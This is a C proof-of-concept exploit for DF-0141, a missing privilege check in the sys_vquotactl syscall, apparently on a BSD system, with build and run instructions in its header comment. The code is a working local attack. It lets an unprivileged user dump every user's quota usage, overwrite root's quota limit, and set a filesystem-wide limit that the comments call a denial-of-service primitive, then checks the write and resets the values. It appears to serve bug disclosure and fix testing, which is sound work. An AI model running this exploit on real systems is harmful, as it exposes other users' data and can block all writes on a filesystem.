/*
 * DF-0141 PoC: Missing privilege check in sys_vquotactl (syscall 530)
 *
 * sys/kern/vfs_quota.c:sys_vquotactl() performs NO caps_priv_check()
 * anywhere. UFS quota ioctls gate writes with SYSCAP_NOQUOTA_WR; this
 * syscall does not. Any unprivileged user who can resolve a path on a
 * quota-enabled filesystem can:
 *   - read every uid/gid's disk usage and limits  ("get usage all")
 *   - set the filesystem-wide ac_limit              ("set limit")
 *   - set/remove per-uid limits (e.g. for uid 0)    ("set limit uid")
 *   - set/remove per-gid limits                     ("set limit gid")
 *
 * Wire format is the proplib dictionary marshalled via
 * prop_dictionary_send_syscall / vquotactl(2) / prop_dictionary_recv_syscall,
 * identical to sbin/vquota/vquota.c:send_command().
 *
 * Admin precondition: vfs.quota_enabled must be 1 (boot tunable) so the
 * kernel actually initializes per-mount accounting. This is the normal
 * "admin deploying VFS quotas" scenario, not part of the exploit chain.
 *
 * Build:  cc -o df0141_poc df0141_poc.c -lprop
 * Run:    ./df0141_poc /path/to/quota-enabled-mount
 */

#include <sys/types.h>
#include <sys/vfs_quota.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pwd.h>
#include <libprop/proplib.h>

/* Identical to sbin/vquota/vquota.c:send_command() */
static int
send_command(const char *path, const char *cmd,
    prop_object_t args, prop_dictionary_t *resp)
{
	prop_dictionary_t dict;
	struct plistref pref;
	int error;

	dict = prop_dictionary_create();
	if (dict == NULL)
		return ENOMEM;
	if (prop_dictionary_set_cstring(dict, "command", cmd) == false) {
		prop_object_release(dict);
		return EINVAL;
	}
	if (prop_dictionary_set(dict, "arguments", args) == false) {
		prop_object_release(dict);
		return EINVAL;
	}

	error = prop_dictionary_send_syscall(dict, &pref);
	if (error != 0) {
		prop_object_release(dict);
		return error;
	}

	error = vquotactl(path, &pref);
	if (error != 0) {
		prop_object_release(dict);
		return error;
	}

	error = prop_dictionary_recv_syscall(&pref, resp);
	prop_object_release(dict);
	return error;
}

/* "get usage all": dump every uid/gid's space + limit (info disclosure) */
static int
do_get_usage_all(const char *path)
{
	prop_dictionary_t args, res = NULL;
	prop_array_t reslist;
	prop_object_iterator_t iter;
	prop_dictionary_t item;
	uint32_t id;
	uint64_t space, limit;
	int error;

	args = prop_dictionary_create();
	error = send_command(path, "get usage all", args, &res);
	prop_object_release(args);
	if (error != 0) {
		if (res) prop_object_release(res);
		return error;
	}

	reslist = prop_dictionary_get(res, "returned data");
	if (reslist == NULL) {
		prop_object_release(res);
		return EINVAL;
	}
	iter = prop_array_iterator(reslist);
	if (iter == NULL) {
		prop_object_release(res);
		return ENOMEM;
	}

	printf("[get usage all] kernel returned quota table for %s:\n", path);
	while ((item = prop_object_iterator_next(iter)) != NULL) {
		prop_dictionary_get_uint64(item, "space used", &space);
		prop_dictionary_get_uint64(item, "limit", &limit);
		if (prop_dictionary_get_uint32(item, "uid", &id))
			printf("  uid=%u  space=%llu  limit=%llu\n",
			    id, (unsigned long long)space,
			    (unsigned long long)limit);
		else if (prop_dictionary_get_uint32(item, "gid", &id))
			printf("  gid=%u  space=%llu  limit=%llu\n",
			    id, (unsigned long long)space,
			    (unsigned long long)limit);
		else
			printf("  TOTAL space=%llu  limit=%llu\n",
			    (unsigned long long)space,
			    (unsigned long long)limit);
	}
	prop_object_iterator_release(iter);
	prop_object_release(res);
	return 0;
}

/* "set limit": filesystem-wide ac_limit (DoS when set to a small value) */
static int
do_set_limit(const char *path, uint64_t limit)
{
	prop_dictionary_t args, res = NULL;
	int error;

	args = prop_dictionary_create();
	prop_dictionary_set_uint64(args, "limit", limit);
	error = send_command(path, "set limit", args, &res);
	prop_object_release(args);
	if (res) prop_object_release(res);
	return error;
}

/* "set limit uid": per-uid limit; attacker targets uid 0 (root) */
static int
do_set_limit_uid(const char *path, uid_t uid, uint64_t limit)
{
	prop_dictionary_t args, res = NULL;
	int error;

	args = prop_dictionary_create();
	prop_dictionary_set_uint32(args, "uid", uid);
	prop_dictionary_set_uint64(args, "limit", limit);
	error = send_command(path, "set limit uid", args, &res);
	prop_object_release(args);
	if (res) prop_object_release(res);
	return error;
}

int
main(int argc, char **argv)
{
	const char *path;
	int rc;
	uid_t me = getuid();
	uid_t root_uid = 0;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <quota-enabled-mount-path>\n",
		    argv[0]);
		return 2;
	}
	path = argv[1];

	printf("== DF-0141: unprivileged vquotactl privilege bypass ==\n");
	printf("running as uid=%u euid=%u (expect: NO root)\n", me, geteuid());
	printf("target mount path: %s\n\n", path);

	/* 1. READ: enumerate every user's disk usage + limits.
	 *    This is information an unprivileged user must not see. */
	printf("[1] READ all quotas (info disclosure):\n");
	rc = do_get_usage_all(path);
	printf("    vquotactl(\"get usage all\") rc=%d (%s)\n\n",
	    rc, rc ? strerror(rc) : "SUCCESS");

	/* 2. WRITE: set a per-uid limit for ROOT (uid 0).
	 *    An unprivileged user must not be able to set root's quota.
	 *    We use a distinctive marker value so we can re-read to confirm. */
	printf("[2] WRITE per-uid limit for uid=0 (root) -> 99999999:\n");
	rc = do_set_limit_uid(path, root_uid, 99999999ULL);
	printf("    vquotactl(\"set limit uid\" uid=0) rc=%d (%s)\n\n",
	    rc, rc ? strerror(rc) : "SUCCESS — PRIVILEGE BYPASS");

	/* 3. Confirm the write landed by re-reading. */
	printf("[3] VERIFY root's limit was changed:\n");
	rc = do_get_usage_all(path);
	printf("    re-read rc=%d — look for uid=0 limit=99999999 above\n\n",
	    rc);

	/* 4. WRITE: filesystem-wide ac_limit. Setting this to a tiny value
	 *    denies ALL further writes on the entire filesystem (DoS). */
	printf("[4] WRITE filesystem-wide limit -> 1234567 (DoS primitive):\n");
	rc = do_set_limit(path, 1234567ULL);
	printf("    vquotactl(\"set limit\") rc=%d (%s)\n\n",
	    rc, rc ? strerror(rc) : "SUCCESS — FILESYSTEM-WIDE WRITE DoS");

	/* 5. CLEANUP: restore so we don't leave the FS wedged for fix-test. */
	printf("[5] cleanup: reset root uid limit=0, fs limit=0\n");
	do_set_limit_uid(path, root_uid, 0);
	do_set_limit(path, 0);

	if (me != 0) {
		printf("\n>>> RESULT: unprivileged uid=%u manipulated quotas.\n",
		    me);
		printf(">>> If any of [1]-[4] returned SUCCESS, the privilege "
		    "check is MISSING (DF-0141 reproduced).\n");
	} else {
		printf("\n>>> WARNING: running as root — re-run as unprivileged "
		    "user to demonstrate the bypass.\n");
	}
	return 0;
}
